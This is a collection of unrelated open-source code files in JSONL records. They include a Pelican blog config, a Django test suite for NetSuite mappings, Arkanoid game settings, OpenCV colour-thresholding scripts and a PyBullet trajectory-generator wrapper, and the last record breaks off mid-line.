{"seq_id":"32047832278","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = 'nlehuby'\nSITENAME = 'Le blog de nlehuby'\nSITEURL = ''\n\nPATH = 'content'\nSTATIC_PATHS = ['initialement_publié_sur_drupalgardens', 'images']\n\nTHEME = \"blue-penguin-theme\"\n\nTIMEZONE = 'Europe/Paris'\n\nDEFAULT_LANG = 'fr'\n\nSUMMARY_MAX_LENGTH = 40\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Blogroll\nLINKS = (('Pelican', 'http://getpelican.com/'),\n         ('Python.org', 'http://python.org/'),\n         ('Jinja2', 'http://jinja.pocoo.org/'),\n         ('You can modify those links in your config file', '#'),)\n\n# Social widget\nSOCIAL = (('You can add links in your config file', '#'),\n          ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = 5\n\n#Menu blue-penguin\nARCHIVES_URL       = 'archives'\nARCHIVES_SAVE_AS   = 'archives/index.html'\n\nMENU_INTERNAL_PAGES = (\n    ('Tous les articles', ARCHIVES_URL, ARCHIVES_SAVE_AS),\n)\n\n# additional menu items\nMENUITEMS = (\n    ('Github', 'https://github.com/nlehuby'),\n)\n\nDISPLAY_HEADER = True\nDISPLAY_FOOTER = True\nDISPLAY_HOME   = True\nDISPLAY_MENU   = True\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n","repo_name":"nlehuby/blog","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35533181854","text":"def is_service_enabled(services, type):\n    for service in services:\n        if service[\"type\"] == type:\n            if service[\"enabled\"]:\n                return True\n    return False\n\ndef get_param(params, type):\n    for param in params:\n        if param == type:\n            return params[type]\n    return None\n\ndef decode(js, type):\n    cameras = js[\"cameras\"]\n    history = []\n    for camera in cameras:\n        if is_service_enabled(camera[\"services\"], type):\n            history.append(camera)\n    return history\n\ndef decode_history(js):\n    return decode(js, \"HISTORY\")\n\ndef decode_live(js):\n    return decode(js, \"LIVE\")   \n\ndef decode_alert(js):\n    cameras = js[\"cameras\"]\n    alarms = js[\"alarms\"]\n    movements = []\n    for alarm in alarms:\n        if alarm[\"type\"] == \"MOVIMENT\" and alarm[\"enabled\"]:\n            id = get_param(alarm[\"parameters\"],\"cameraId\")\n            if id:\n                movements.append(id)\n    result = []\n    for camera in cameras:\n        if camera[\"id\"] in movements:\n            result.append(camera)\n    return result\n\ndef decode_movement(js):\n    cameras = js[\"cameras\"]\n    alarms = js[\"alarms\"]\n    movements = []\n    for alarm in alarms:\n        if alarm[\"type\"] == \"CAMERA\" and alarm[\"enabled\"]:\n            id = get_param(alarm[\"parameters\"],\"cameraId\")\n            if id:\n                movements.append(id)\n    result = []\n    for camera in cameras:\n        if camera[\"id\"] in movements:\n            result.append(camera)\n    return result\n\ndef decode_tag(js):\n    return js[\"monitoringTag\"]\n        \n        ","repo_name":"mmacedoeu/auto","sub_path":"auto/json_parser.py","file_name":"json_parser.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37815393909","text":"import pytest\nimport json\nfrom django.urls import reverse\n\nfrom apps.mappings.models import GeneralMapping, SubsidiaryMapping\nfrom apps.workspaces.models import Configuration\nfrom tests.test_netsuite.fixtures import data as netsuite_data\nfrom .fixtures import data\n\n@pytest.mark.django_db(databases=['default'])\ndef test_subsidiary_mapping_view(api_client, access_token):\n    '''\n    Test Post of User Profile\n    '''\n\n    url = reverse('subsidiaries', \n        kwargs={\n                'workspace_id': 1\n            }\n        )\n\n    api_client.credentials(HTTP_AUTHORIZATION='Bearer {}'.format(access_token))\n\n    response = api_client.get(url)\n    response = json.loads(response.content)\n\n    assert response['internal_id']=='1'\n    assert response['subsidiary_name']=='Honeycomb Mfg.'\n\n    SubsidiaryMapping.objects.get(workspace_id=1).delete()\n\n    response = api_client.get(url)\n\n    assert response.status_code == 400\n    assert response.data['message'] == 'Subsidiary mappings do not exist for the workspace'\n\n\n@pytest.mark.django_db(databases=['default'])\ndef test_post_country_view(api_client, access_token, mocker):\n    mocker.patch(\n        'netsuitesdk.api.subsidiaries.Subsidiaries.get',\n        return_value=netsuite_data['get_all_subsidiaries'][0][0]\n    )\n\n    url = reverse('country', \n        kwargs={\n                'workspace_id': 1\n            }\n        )\n\n    api_client.credentials(HTTP_AUTHORIZATION='Bearer {}'.format(access_token))\n\n    response = api_client.post(url)\n    response = json.loads(response.content)\n\n    assert response['country_name']=='_unitedStates'\n    assert response['subsidiary_name']=='Honeycomb Mfg.'\n\n    SubsidiaryMapping.objects.get(workspace_id=1).delete()\n\n    response = api_client.post(url)\n\n    assert response.status_code == 400\n    assert response.data['message'] == 'Subsidiary mappings do not exist for the workspace'\n\n@pytest.mark.django_db(databases=['default'])\ndef test_get_general_mappings(api_client, access_token):\n    '''\n    Test get of general mappings\n    '''\n    url = reverse('general-mappings', \n        kwargs={\n                'workspace_id': 1\n            }\n        )\n\n    api_client.credentials(HTTP_AUTHORIZATION='Bearer {}'.format(access_token))\n\n    response = api_client.get(url)\n    assert response.status_code == 200\n    response = json.loads(response.content)\n    assert response['use_employee_department'] == False\n    assert response['default_ccc_vendor_name'] == 'Ashwin Vendor'\n\n    general_mapping = GeneralMapping.objects.get(workspace_id=1)\n    general_mapping.default_ccc_vendor_name = ''\n    general_mapping.use_employee_department = True\n    general_mapping.save()\n    response = api_client.get(url)\n\n    GeneralMapping.objects.get(workspace_id=1).delete()\n\n    response = api_client.get(url)\n\n    assert response.status_code == 400\n    assert response.data['message'] == 'General mappings do not exist for the workspace'\n\n\n@pytest.mark.django_db()\ndef test_post_general_mappings(api_client, access_token, db):\n    '''\n    Test Post of general mappings\n    '''\n    url = reverse('general-mappings', \n        kwargs={\n                'workspace_id': 1\n            }\n        )\n\n    api_client.credentials(HTTP_AUTHORIZATION='Bearer {}'.format(access_token))\n\n    response = api_client.post(\n        url,\n        data=data['general_mapping_payload']\n    )\n\n    assert response.status_code == 201\n    response = json.loads(response.content)\n    assert response['use_employee_department'] == True\n    assert response['use_employee_class'] == True\n\n    invalid_data = data['general_mapping_payload']\n\n    invalid_data['accounts_payable_name'] = ''\n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n\n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'Accounts payable is missing'\n\n    invalid_data['accounts_payable_name'] = 'Accounts Payable'\n    invalid_data['reimbursable_account_name'] = ''\n\n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n    \n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'Reimbursable account is missing'\n\n    invalid_data['reimbursable_account_name'] = 'Unapproved Expense Reports'\n    invalid_data['default_ccc_vendor_name'] = ''\n\n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n    \n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'Default CCC vendor is missing'\n\n    configuration = Configuration.objects.get(workspace_id=1)\n    configuration.corporate_credit_card_expenses_object = 'CREDIT CARD CHARGE'\n    configuration.save()\n\n    invalid_data['default_ccc_vendor_name'] = 'Ashwin Vendor'\n    invalid_data['default_ccc_account_name'] = ''\n    \n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n    \n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'Default CCC account is missing'\n\n    invalid_data['default_ccc_account_name'] = 'sample'\n    invalid_data['default_ccc_account_id'] = '12'\n\n    configuration.sync_fyle_to_netsuite_payments = True\n    configuration.save()\n\n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n    \n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'Vendor payment account is missing'\n\n    configuration.sync_fyle_to_netsuite_payments = False\n    configuration.save()\n\n    invalid_data['default_ccc_account_name'] = 'sample'\n    invalid_data['default_ccc_account_id'] = '12'\n    invalid_data['department_level'] = ''\n    \n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n    \n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'department_level cannot be null'\n\n    configuration.employee_field_mapping = 'VENDOR'\n    configuration.save()\n    \n    response = api_client.post(\n        url,\n        data=invalid_data\n    )\n    assert response.status_code == 400\n    response = json.loads(response.content)\n    assert response['non_field_errors'][0] == 'use_employee_department or use_employee_location or use_employee_class can be used only when employee is mapped to employee'\n\n\ndef test_auto_map_employee_trigger(api_client, access_token):\n\n    url = reverse('auto-map-employees-trigger', \n        kwargs={\n                'workspace_id': 2\n            }\n        )\n\n    api_client.credentials(HTTP_AUTHORIZATION='Bearer {}'.format(access_token))\n\n    response = api_client.post(url)\n\n    assert response.status_code == 200\n    ","repo_name":"fylein/fyle-netsuite-api","sub_path":"tests/test_mappings/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":6822,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"3474864674","text":"import os\n\n# constants\nWIDTH = 800\nHEIGHT = 800\nSIZE = (WIDTH, HEIGHT) # window size in pixels\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nFRAMES_PER_SECOND = 60 # number of frames to limit the processing to. Controls global speed\nSOURCE_DIR = os.path.split(os.path.abspath(__file__))[0]\nIMAGE_DIR = r'images'\nSOUND_DIR = r'sounds'\n\n# default Counter parameters\nTEXT_FONTSIZE = 48\nTEXT_FONTCOLOR = WHITE\nTEXT_FONTNAME = 'Arial'\n\n# Score parameters\nSCORE_START = 0\nSCORE_COLOR = WHITE\nSCORE_INCREMENT = 1\nSCORE_POS = (0.1, 0.07)\nSCORE_SIZE = 36\nS_LABEL_TEXT = 'Score'\nS_LABEL_POS = (0.1, 0.02)\nS_LABEL_SIZE = 20\nS_LABEL_COLOR = WHITE\n\n# Time parameters\nTIMER_START = 0 # Leave at 0 unless stages offer no time \nTIMER_COLOR = WHITE\nTIMER_SPEED = -1 # number of deductions per second\nTIMER_POS = (0.9, 0.07)\nTIMER_SIZE = 36\nT_LABEL_TEXT = 'Time'\nT_LABEL_POS = (0.9, 0.02)\nT_LABEL_SIZE = 20\nT_LABEL_COLOR = WHITE\n\n# stage name parameters\nNAME_POS = (0.5, 0.05) # position of stage name as proportino of screen size\nNAME_COLOR = WHITE\n\n# divider for score, etc\nDIV_POS = 0.1 # position of divider for score etc as proportion of vertical screen size\nDIV_WIDTH = 4 # width of divider in number of pixels\nDIV_COLOR = WHITE\n\n# Paddle parameters\nUSER_SPEED = 700 # speed in pixels per second, converted to pixels per frame\nUSER_SPRITE = os.path.join(SOURCE_DIR, IMAGE_DIR, r'paddle.png')\nUSER_BALL_MINANGLE = 30 # minimum angle (in degrees) ball bounces off paddle when on the very ede of the paddle\nUSER_BALL_MAXANGLE = 90 # maximum angle (in degrees) ball bounces off paddle when in the center of the paddle\n\n# Ball parameters\nBALL_SPEED = 700 # speed in pixels per second, converted to pixels per frame\nBALL_SPRITE = os.path.join(SOURCE_DIR, IMAGE_DIR, r'ball.png')\nBALL_SOUND = os.path.join(SOURCE_DIR, SOUND_DIR, r'ball_hit.wav')\nBALL_POS = (0.5, 0.95) # starting position of ball in proportion of screen/frame\n\n# default Brick parameters\nBRICK_SPRITE = os.path.join(SOURCE_DIR, IMAGE_DIR, r'brick.gif')\n\n# default Stage parameters\nSTAGE_BG = BLACK # default is always a color tuple\nSTAGE_NAME = 'stage' # default name\nSTAGE_NUM = 1 # default order number\nSTAGE_TIME = 120 # default time for the stage\nSTAGE_DIR = r'stages' # folder that stages can be found in relative to SOURCE_DIR\nSTAGE_FILE = r'config' # name of stage configuration file including extension inside STAGE_DIR\nSTAGE_CONFIG_DELIM = ' ' # delimiter for stage config file\nSTAGE_CONFIG_COMMENT = '#' # string for comments in stage config file\nSTAGE_CONFIG_NAME = 'name' # stage name config keyword\nSTAGE_CONFIG_NUM = 'number' # stage number config keyword\nSTAGE_CONFIG_BG = 'background' # stage background config keyword\nSTAGE_CONFIG_BRICK = 'brick' # stage brick config keyword\nSTAGE_CONFIG_TIME = 'time' # time to complete stage\nSTAGE_CONFIG_POWER = 'power' # stage power config keyword\nSTAGE_CONFIG_PWBSP = 'ball_speed' # stage ball speedup powerup\n\n# Start menu parameters\nSTART_BG = BLACK # default is always a color tuple\nSTART_TITLE = 'Arkanoid (kinda)'\nSTART_START_TEXT = 'Start'\nSTART_QUIT_TEXT = 'Quit'\n\n# Lose menu parameters\nDIE_BG = BLACK # default is always a color tuple\nDIE_TITLE = 'You Lose'\nDIE_RESTART_TEXT = 'Restart'\nDIE_QUIT_TEXT = 'Quit'\n\n# Win menu parameters\nWIN_BG = BLACK # default is always a color tuple\nWIN_TITLE = 'You Win!'\n\n# default Button parameters\nBUTTON_FONTSIZE = 72\nBUTTON_FONTCOLOR = WHITE\nBUTTON_HIGHLIGHTED_FONTCOLOR = (255, 255, 0)\nBUTTON_FONTNAME = 'Arial'\nBUTTON_ANGLE_MAX = 5 # maximum rotation angle in degrees when highlighted\nBUTTON_SCALE = 1.2 # scaling of button text when highlighted\nBUTTON_SPEED = 0.3 # speed button wobbles when highlighted\n\n# default Powerup parameters\nPU_TIME = 10 # powerup time limit\nPU_IMAGE = 'powerup.png' # powerup image\nPU_BALL_SP_IMAGE = 'ball_speed.png' # ball speedup powerup image\nPU_BALL_SP_SPEED = 1.5 # speed increase factor for the ball speedup powerup\nPU_BALL_SP_TIME = 10 # number of seconds the ball speedup powerup lasts\n","repo_name":"DuhPhd/Arkanoid","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71077199140","text":"from rosws import *\n\ndef callback_image(raw):\n    np_arr = np.fromstring(raw.data, np.uint8)\n    image_np = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)\n    return image_np\ncv2.namedWindow('image')\n\ndef nothing(x):\n    pass\n# create trackbars for color change\ncv2.createTrackbar('HMin','image',0,179,nothing) # Hue is from 0-179 for Opencv\ncv2.createTrackbar('SMin','image',0,255,nothing)\ncv2.createTrackbar('VMin','image',0,255,nothing)\ncv2.createTrackbar('HMax','image',0,179,nothing)\ncv2.createTrackbar('SMax','image',0,255,nothing)\ncv2.createTrackbar('VMax','image',0,255,nothing)\n\n# Set default value for MAX HSV trackbars.\ncv2.setTrackbarPos('HMax', 'image', 179)\ncv2.setTrackbarPos('SMax', 'image', 255)\ncv2.setTrackbarPos('VMax', 'image', 255)\n\n# Initialize to check if HSV min/max value changes\nhMin = sMin = vMin = hMax = sMax = vMax = 0\nphMin = psMin = pvMin = phMax = psMax = pvMax = 0\n\n\n\nif __name__ == '__main__':\n    from sensor_msgs.msg import LaserScan\n    \n    rospy.init_node('Goodgame_websocket', anonymous=True)\n\n    connect = WebsocketROSClient('127.0.0.1', 9090) # ip, port, name of client\n    showMe = 1 # Show images\n    peak_thresh = 10\n\n    try:\n        while not rospy.is_shutdown():\n            \n            # subscribe\n            result =  connect.subscribe('g2_never_die/camera/rgb/compressed', CompressedImage())\n            #callback_image(result)\n            frame = (callback_image(result))\n                # get current positions of all trackbars\n            hMin = cv2.getTrackbarPos('HMin','image')\n            sMin = cv2.getTrackbarPos('SMin','image')\n            vMin = cv2.getTrackbarPos('VMin','image')\n\n            hMax = cv2.getTrackbarPos('HMax','image')\n            sMax = cv2.getTrackbarPos('SMax','image')\n            vMax = cv2.getTrackbarPos('VMax','image')\n\n            # Set minimum and max HSV values to display\n            lower = np.array([hMin, sMin, vMin])\n            upper = np.array([hMax, sMax, vMax])\n\n            # Create HSV Image and threshold into a range.\n            hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n            mask = cv2.inRange(hsv, lower, upper)\n            output = cv2.bitwise_and(frame,frame, mask= mask)\n\n            # Print if there is a change in HSV value\n            if( (phMin != hMin) | (psMin != sMin) | (pvMin != vMin) | (phMax != hMax) | (psMax != sMax) | (pvMax != vMax) ):\n                print(\"(hMin = %d , sMin = %d, vMin = %d), (hMax = %d , sMax = %d, vMax = %d)\" % (hMin , sMin , vMin, hMax, sMax , vMax))\n                phMin = hMin\n                psMin = sMin\n                pvMin = vMin\n                phMax = hMax\n                psMax = sMax\n                pvMax = vMax\n\n            cv2.imshow(\"frame\",output)\n            cv2.waitKey(1)\n            \n    except KeyboardInterrupt:\n        pass\n    rospy.spin()\n","repo_name":"haianhtran9162/Digital-Race-Simulator-Solution","sub_path":"goodgame_fptu_dl/scripts/algorithms/check_color.py","file_name":"check_color.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16283504198","text":"\"\"\"A wrapped MinitaurGymEnv with a built-in controller.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom gym import spaces\nimport numpy as np\nimport gin\nfrom pybullet_envs.minitaur.agents.trajectory_generator import tg_simple\nfrom pybullet_envs.minitaur.envs_v2.utilities import robot_pose_utils\nfrom pybullet_envs.minitaur.robots.utilities import action_filter\n\n_DELTA_TIME_LOWER_BOUND = 0.0\n_DELTA_TIME_UPPER_BOUND = 3\n\n_GAIT_PHASE_MAP = {\n    \"walk\": [0, 0.25, 0.5, 0.75],\n    \"trot\": [0, 0.5, 0.5, 0],\n    \"bound\": [0, 0.5, 0, 0.5],\n    \"pace\": [0, 0, 0.5, 0.5],\n    \"pronk\": [0, 0, 0, 0]\n}\n\n\n@gin.configurable\nclass PmtgWrapperEnv(object):\n  \"\"\"A wrapped LocomotionGymEnv with a built-in trajectory generator.\"\"\"\n\n  def __init__(self,\n               gym_env,\n               intensity_upper_bound=1.5,\n               min_delta_time=_DELTA_TIME_LOWER_BOUND,\n               max_delta_time=_DELTA_TIME_UPPER_BOUND,\n               integrator_coupling_mode=\"all coupled\",\n               walk_height_coupling_mode=\"all coupled\",\n               variable_swing_stance_ratio=True,\n               swing_stance_ratio=1.0,\n               residual_range=0.15,\n               init_leg_phase_offsets=None,\n               init_gait=None,\n               default_walk_height=0,\n               action_filter_enable=True,\n               action_filter_order=1,\n               action_filter_low_cut=0,\n               action_filter_high_cut=3.0,\n               action_filter_initialize=False,\n               leg_pose_class=None):\n    \"\"\"Initialzes the wrapped env.\n\n    Args:\n      gym_env: An instance of LocomotionGymEnv.\n      intensity_upper_bound: The upper bound for intensity of the trajectory\n        generator. It can be used to limit the leg movement.\n      min_delta_time: Lower limit for the time in seconds that the trajectory\n        generator can be moved forward at each simulation step. The effective\n        frequency of the gait is based on the delta time multiplied by the\n        internal frequency of the trajectory generator.\n      max_delta_time: Upper limit for the time in seconds that the trajectory\n        generator can be moved forward at each simulation step.\n      integrator_coupling_mode: How the legs should be coupled for integrators.\n      walk_height_coupling_mode: The same coupling mode used for walking walking\n        heights for the legs.\n      variable_swing_stance_ratio: A boolean to indicate if the swing stance\n        ratio can change per time step or not.\n      swing_stance_ratio: Time taken by swing phase vs stance phase. This is\n        only relevant if variable_swing_stance_ratio is False.\n      residual_range: The upper limit for the residual actions that adds to the\n        leg motion. It is 0.15 by default, can be increased for more flexibility\n        or decreased to only to use the trajectory generator's motion.\n      init_leg_phase_offsets: The initial phases of the legs. A list of 4\n        variables within [0,1). The order is front-left, rear-left, front-right\n        and rear-right.\n      init_gait: The initial gait that sets the starting phase difference\n        between the legs. Overrides the arg init_phase_offsets. Has to be\n        \"walk\", \"trot\", \"bound\" or \"pronk\". Used in vizier search.\n      default_walk_height: Offset for the extension of the legs for the robot.\n        Applied to the legs at every time step. Implicitly affects the walking\n        and standing height of the policy. Zero by default. Units is in\n        extension space (can be considered in radiant since it is a linear\n        transformation to motor angles based on the robot's geometry).\n      action_filter_enable: Use a butterworth filter for the output of the PMTG\n        actions (before conversion to leg swing-extend model). It forces\n        smoother behaviors depending on the parameters used.\n      action_filter_order: The order for the action_filter (1 by default).\n      action_filter_low_cut: The cut for the lower frequencies (0 by default).\n      action_filter_high_cut: The cut for the higher frequencies (3 by default).\n      action_filter_initialize: If the action filter should be initialized when\n        the first action is taken. If enabled, the filter does not affect action\n        value the first time it is called and fills the history with that value.\n      leg_pose_class: A class providing a convert_leg_pose_to_motor_angle\n        instance method or None. If None, robot_pose_utils is used.\n\n    Raises:\n      ValueError if the controller does not implement get_action and\n      get_observation.\n\n    \"\"\"\n    self._gym_env = gym_env\n    self._num_actions = gym_env.robot.num_motors\n    self._residual_range = residual_range\n    self._min_delta_time = min_delta_time\n    self._max_delta_time = max_delta_time\n    self._leg_pose_util = leg_pose_class() if leg_pose_class else None\n    # If not specified, default leg phase offsets to walking.\n    if init_gait:\n      if init_gait in _GAIT_PHASE_MAP:\n        init_leg_phase_offsets = _GAIT_PHASE_MAP[init_gait]\n      else:\n        raise ValueError(\"init_gait is not one of the defined gaits.\")\n    else:\n      init_leg_phase_offsets = init_leg_phase_offsets or [0, 0.25, 0.5, 0.75]\n    # Create the Trajectory Generator based on the parameters.\n    self._trajectory_generator = tg_simple.TgSimple(\n        intensity_upper_bound=intensity_upper_bound,\n        integrator_coupling_mode=integrator_coupling_mode,\n        walk_height_coupling_mode=walk_height_coupling_mode,\n        variable_swing_stance_ratio=variable_swing_stance_ratio,\n        swing_stance_ratio=swing_stance_ratio,\n        init_leg_phase_offsets=init_leg_phase_offsets)\n\n    action_dim = self._extend_action_space()\n    self._extend_obs_space()\n\n    self._default_walk_height = default_walk_height\n    self._action_filter_enable = action_filter_enable\n    if self._action_filter_enable:\n      self._action_filter_initialize = action_filter_initialize\n      self._action_filter_order = action_filter_order\n      self._action_filter_low_cut = action_filter_low_cut\n      self._action_filter_high_cut = action_filter_high_cut\n      self._action_filter = self._build_action_filter(action_dim)\n\n  def _extend_obs_space(self):\n    \"\"\"Extend observation space to include pmtg phase variables.\"\"\"\n    # Set the observation space and boundaries.\n    lower_bound, upper_bound = self._get_observation_bounds()\n    if hasattr(self._gym_env.observation_space, \"spaces\"):\n      new_obs_space = spaces.Box(np.array(lower_bound), np.array(upper_bound))\n      self.observation_space.spaces.update({\"pmtg_phase\": new_obs_space})\n    else:\n      lower_bound = np.append(self._gym_env.observation_space.low, lower_bound)\n      upper_bound = np.append(self._gym_env.observation_space.high, upper_bound)\n      self.observation_space = spaces.Box(\n          np.array(lower_bound), np.array(upper_bound), dtype=np.float32)\n\n  def _extend_action_space(self):\n    \"\"\"Extend the action space to include pmtg parameters.\"\"\"\n    # Add the action boundaries for delta time, one per integrator.\n    action_low = [-self._residual_range] * self._num_actions\n    action_high = [self._residual_range] * self._num_actions\n    action_low = np.append(action_low, [self._min_delta_time] *\n                           self._trajectory_generator.num_integrators)\n    action_high = np.append(action_high, [self._max_delta_time] *\n                            self._trajectory_generator.num_integrators)\n\n    # Add the action boundaries for parameters of the trajectory generator.\n    l_bound, u_bound = self._trajectory_generator.get_parameter_bounds()\n    action_low = np.append(action_low, l_bound)\n    action_high = np.append(action_high, u_bound)\n    self.action_space = spaces.Box(\n        np.array(action_low), np.array(action_high), dtype=np.float32)\n    return len(action_high)\n\n  def __getattr__(self, attrb):\n    return getattr(self._gym_env, attrb)\n\n  def _modify_observation(self, observation):\n    if isinstance(observation, dict):\n      observation[\"pmtg_phase\"] = self._trajectory_generator.get_state()\n      return observation\n    else:\n      return np.append(observation, self._trajectory_generator.get_state())\n\n  def reset(self, initial_motor_angles=None, reset_duration=1.0):\n    \"\"\"Resets the environment as well as the trajectory generator(s).\n\n    Args:\n      initial_motor_angles: Unused for PMTG. Instead, it sets the legs to a pose\n        with the neutral action for the trajectory generator.\n      reset_duration: Float. The time (in seconds) needed to rotate all motors\n        to the desired initial values.\n\n    Returns:\n      A numpy array contains the initial observation after reset.\n    \"\"\"\n    del initial_motor_angles\n    if self._action_filter_enable:\n      self._reset_action_filter()\n    self._last_real_time = 0\n    self._num_step = 0\n    self._target_speed_coef = 0.0\n    if self._trajectory_generator:\n      self._trajectory_generator.reset()\n    if self._leg_pose_util:\n      initial_motor_angles = self._leg_pose_util.convert_leg_pose_to_motor_angles(\n          [0, 0, 0] * 4)\n    else:\n      initial_motor_angles = robot_pose_utils.convert_leg_pose_to_motor_angles(\n          self._gym_env.robot_class, [0, 0, 0] * 4)\n    observation = self._gym_env.reset(initial_motor_angles, reset_duration)\n    return self._modify_observation(observation)\n\n  def step(self, action):\n    \"\"\"Steps the wrapped environment.\n\n    Args:\n      action: Numpy array. The input action from an NN agent.\n\n    Returns:\n      The tuple containing the modified observation, the reward, the epsiode end\n      indicator.\n\n    Raises:\n      ValueError if input action is None.\n\n    \"\"\"\n\n    if action is None:\n      raise ValueError(\"Action cannot be None\")\n\n    if self._action_filter_enable:\n      action = self._filter_action(action)\n\n    time = self._gym_env.get_time_since_reset()\n\n    action_residual = action[0:self._num_actions]\n    # Add the default walking height offset to extension.\n    dimensions = len(action_residual) // 4\n    action_residual[dimensions - 1::dimensions] += self._default_walk_height\n    # Calculate trajectory generator's output based on the rest of the actions.\n    delta_real_time = time - self._last_real_time\n    self._last_real_time = time\n    action_tg = self._trajectory_generator.get_actions(\n        delta_real_time, action[self._num_actions:])\n    # If the residuals have a larger dimension, extend trajectory generator's\n    # actions to include abduction motors.\n    if len(action_tg) == 8 and len(action_residual) == 12:\n      for i in [0, 3, 6, 9]:\n        action_tg.insert(i, 0)\n    # Add TG actions with residual actions (in swing - extend space).\n    action_total = [a + b for a, b in zip(action_tg, action_residual)]\n    # Convert them to motor space based on the robot-specific conversions.\n    if self._leg_pose_util:\n      action_motor_space = self._leg_pose_util.convert_leg_pose_to_motor_angles(\n          action_total)\n    else:\n      action_motor_space = robot_pose_utils.convert_leg_pose_to_motor_angles(\n          self._gym_env.robot_class, action_total)\n    original_observation, reward, done, _ = self._gym_env.step(\n        action_motor_space)\n\n    return self._modify_observation(original_observation), np.float32(\n        reward), done, _\n\n  def _get_observation_bounds(self):\n    \"\"\"Get the bounds of the observation added from the trajectory generator.\n\n    Returns:\n      lower_bounds: Lower bounds for observations.\n      upper_bounds: Upper bounds for observations.\n    \"\"\"\n    lower_bounds = self._trajectory_generator.get_state_lower_bounds()\n    upper_bounds = self._trajectory_generator.get_state_upper_bounds()\n    return lower_bounds, upper_bounds\n\n  def _build_action_filter(self, num_joints):\n    order = self._action_filter_order\n    low_cut = self._action_filter_low_cut\n    high_cut = self._action_filter_high_cut\n    sampling_rate = 1 / (0.01)\n    a_filter = action_filter.ActionFilterButter([low_cut], [high_cut],\n                                                sampling_rate, order,\n                                                num_joints)\n    return a_filter\n\n  def _reset_action_filter(self):\n    self._action_filter.reset()\n    self._action_filter_empty = True\n    return\n\n  def _filter_action(self, action):\n    if self._action_filter_empty and self._action_filter_initialize:\n      # If initialize is selected and it is the first time filter is called,\n      # fill the buffer with that action so that it starts from that value\n      # instead of zero(s).\n      init_action = np.array(action).reshape(len(action), 1)\n      self._action_filter.reset(init_action)\n      self._action_filter_empty = False\n    filtered_action = self._action_filter.filter(np.array(action))\n    return filtered_action\n","repo_name":"bulletphysics/bullet3","sub_path":"examples/pybullet/gym/pybullet_envs/minitaur/envs_v2/env_wrappers/pmtg_wrapper_env.py","file_name":"pmtg_wrapper_env.py","file_ext":"py","file_size_in_byte":12814,"program_lang":"python","lang":"en","doc_type":"code","stars":11311,"dataset":"github-code","pt":"35"}
{"seq_id":"23250472299","text":"import time\r\n\r\nstart1=time.time()\r\n##from io import BytesIO\r\n##from PIL import Image\r\nimport numpy as np\r\nimport cv2\r\n\r\nstop1=time.time()\r\nprint(\"Import: \",stop1-start1)\r\n\r\n##def convertToJpeg(im):\r\n##    with BytesIO() as f:\r\n##        im.save(f,format='JPEG')\r\n##        f.seek(0)\r\n##        return Image.open(f)\r\n\r\nstart2=time.time()\r\n\r\nnewcontour=[]\r\nnewcontour2=[]\r\n\r\n#path = r'F:\\Projects\\Caterpillar\\Practical\\0\\IMG0.jpg'\r\n#img=cv2.imread(path)\r\n\r\n\r\n_,img = cv2.VideoCapture(1).read()\r\n\r\ncv2.imwrite('Input.jpg',img)\r\n\r\nblur = cv2.GaussianBlur(img,(5,5),0)\r\n\r\nhsv=cv2.cvtColor(blur, cv2.COLOR_BGR2HSV)\r\n\r\nlb= np.array([15,80,50])\r\nub= np.array([39,255,255])\r\nmask = cv2.inRange(hsv, lb, ub)\r\ncv2.imwrite('mask.jpg',mask)\r\ntemp = np.zeros(mask.shape).astype(mask.dtype)\r\nres = cv2.bitwise_and(img,blur, mask =mask)\r\n\r\ngrey=cv2.cvtColor(res,cv2.COLOR_BGR2GRAY)\r\n\r\ncv2.imwrite('Grey.jpg',res)\r\n\r\ncontour,hierarchy=cv2.findContours(mask,cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n#print(\"Contour Dtype: \",np.dtype(contour))\r\nprint(\"Block Area\",end=' ')\r\nfor i in contour:\r\n    if cv2.contourArea(i) > 100:\r\n         newcontour.append(i)\r\n         print(cv2.contourArea(i),end=' ')\r\n         contour=i\r\n    else:\r\n       cv2.fillPoly(mask,[i],(0,0,0))\r\n\r\ncv2.drawContours(img, 